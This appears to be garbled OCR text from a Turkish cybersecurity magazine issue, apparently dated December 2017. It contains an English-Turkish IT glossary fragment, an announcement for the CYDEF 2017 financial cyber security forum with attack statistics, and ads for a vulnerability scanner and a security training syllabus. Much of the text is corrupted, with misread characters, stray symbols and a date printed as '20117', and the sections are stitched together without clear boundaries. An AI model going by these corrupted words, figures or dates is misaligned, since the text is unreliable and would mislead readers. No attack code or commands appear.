13) aggregation - toplasma, topluluk, yigisim, y1gin, demet,
demetleme, derleme, birlestirme

14) aggregation [field] - toplama [alani]

15) aggressive [caching] - asir [6nbellekleme] saldirgan
16) alias - takma ad, yol takma adi diger ad, rumuz, lakap
17) alphanumeric - alfantimerik, alfasayisal

18) alternative - secenek - ek secenek

19) anchor - yer isareti, tutturucu, baglayici, capa

20) anonymous [user] - konuk; tanimsiz [kullanici] ( guest)
belirsiz*, anonim*, kayitsiz, adsiz/isimsiz, misafir

21) approved - onaylandi, onayli, onaylanmis, kabul
22) archive - arsiv

23) argument - degisken bagimsiz degisken, arguman
24) arity - iliski derecesi

25) array - dizi, dizilim

Yukaridaki ornek sozciiklerin bazilari zaten
yayginlik kazanmis ve kullanimdadir. Bu s6z-
ciikleri ben farkl kaynaklardan derledim ve
nadiren kiiclik rotuslarda bulundum. Yarar-
landigim ve yararlanabilecegimiz kaynaklar

asagiya sirah sekilde koyuyorum. Adini zi-
kretmekte eksik kaldigimiz kisi, kurum, site
varsa bunlardan oziir diler, Her tiirlii destek-
lerine, uyarilarina, yardimlasma ve ortak-
lasma cabalarina a¢ik oldugumuzu kurumum
lizerinden kamuoyuna acik ederim.




MERIDIEN

Meridien Saglik Hizmetleri ve Uluslararasi Tic. Ltd. Sti.

544 Sokak No:3 Cayyolu 06840 Cankaya - ANKARA Tel: +90 (312) 446 6831 Faks: +90 (312) 446 34 09
www.meridienltd.com

P




1|
CD
7
co
=
g
[
J
-
= ‘ '
q
1=

=
=
=
o
-
=
&
-

INTERNATIONAL
CYBEHR
SEGCGURITY

ARALIK 20117




CYDEF F2017 FINANSAL SIBER GUVENLIK FORUMU
CYDEF FINANS 2017 HAKKINDA

~ ... .../
FINANSAL ATAKLARIN COGRAFYASI Q2 2016
" '-‘ .“ .: .: @31%-4% O 1.1%-2%
.- -‘ ’-‘ " ’ @21%-3% @ <05%

® TURKIYE

FORUMm M ® RUSYA
ORUM 2071 © BREZILYA

® PAKISTAN

. e >
e, n‘ ! 4
‘ w4

* VENEZUELLA « SINGAPUR

» TUNUS . LiBya "

« JAPONYA . ARJANTIN N
FINANSAL ATAKLAR

GERGEVESINDE EN GOVENLI

© KANADA & FRANSA vy
& AMERIKA & HOLLANDA ey
® iNGiLTERE r

Teknolojik gelismelerle paralel olarak ilerleyen finans sektoru dijital bankaciliggin
kullanimini yaygin hale getirmistir.

Ulkemizde ve dunyada dijital bankacilik, fiziki finansal araclarn (para, ¢ek, senet,
kambiyo vb) yerini almis, mobil cihazlann, intemet erisiminin ve e-ticaret gibi
platformlarin yayginlasmasi ile hayatimizin bir parcas! haline gelmistir.

Gecmiste, inansal suglar banka soygunlar vb. sekilde karsimiza ¢ikarken, gunumuzde
internet bankaciligl ve mobil cihazlarin artan kullanimi ile dunyanin herhangi bir
noktasinda ongorulemeyen saldinlara acik hale gelmistir.

2016 yiinda her 39 saniyede bir finans kuruluslarina siber saldinlar duzenlenmekte olup,
toplam 1 milyar adetin uzerinde hesap siber saldirya ugramis, 3 trilyon dolarin uzerinde
zarara sebebiyet vermistir. Bu zarann, 2021 yiinda 6 trilyon dolara yukselmesi
ongorulmektedir.

Siber suclarnn artmasi ile birlikte alinan siber guvenlik dnlemleri artmakta olup, CYDEF
2017 Finansal Forumu'nda, bu alandakicalismalar, sektorel firmalar, finans kuruluslar,
bilisim firmalari ve sektdre yon veren isimlerin bir araya gelecektir.
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Teknik ve Sanal takip
Sahte marka arastirma ve takibi
Firma analizi
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Web Uygulamasi
Guvenlik Tarayicisi

Netsparker'i Kullanarak Web Uygulamalariniz ve Web
Servislerinizdeki Zafiyetleri Saldirganlardan
Once Tespit Edin

Netsparker ayni anda yiizlerce
hatta binlerce websitesinde,
websitesinin gelistirildigi dil ya
da teknolojiye bakmaksizin,
platformdan bagimsiz bir
sekilde giivenlik aciklarini
otomatik olarak tespit eder ve
cOzum onerilerini de icerecek
sekilde tiim detaylariyla size
raporlar.

@ ozs ) duihe 2R Microsoft s (inted simsone SIEMENS

WWW, netsparker.com Ar



Uluslararasi Siber Giivenlik Federasyonu

' 144 Saat Resmi Miifredat ile
Istihbarat & Siber Guvenlik Egitimi

Otomatik Zafiyet Tarama ve Degerlendirme, Parola/Sifre Kirma Saldirilari
Ag Zehirleme, Kablosuz Ag Saldirilari, DDoS, Sosyal Mihendislik Saldirilar
Adli Bilisim, Siber Olay Analizi & Zararli Yazilim Analizi
Bilisim Hukuku
Temel istihbarat
istihbarata Karsi Koyma
Hedef Sistemler Hakkinda Bilgi Toplama
Web Uygulamasina izinsiz Erisim ve Givenlik
Siber istihbarat
Siber istihbarata Karsi Koyma
Siber Givenlige Giris
Guvenli Yaziim Gelistirme
Tersine Mihendislik
Guvenli Mobil Uygulama Gelistirme
Veritabani Glvenligi ve Denetim Teknikleri
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www.usgf.org.tr
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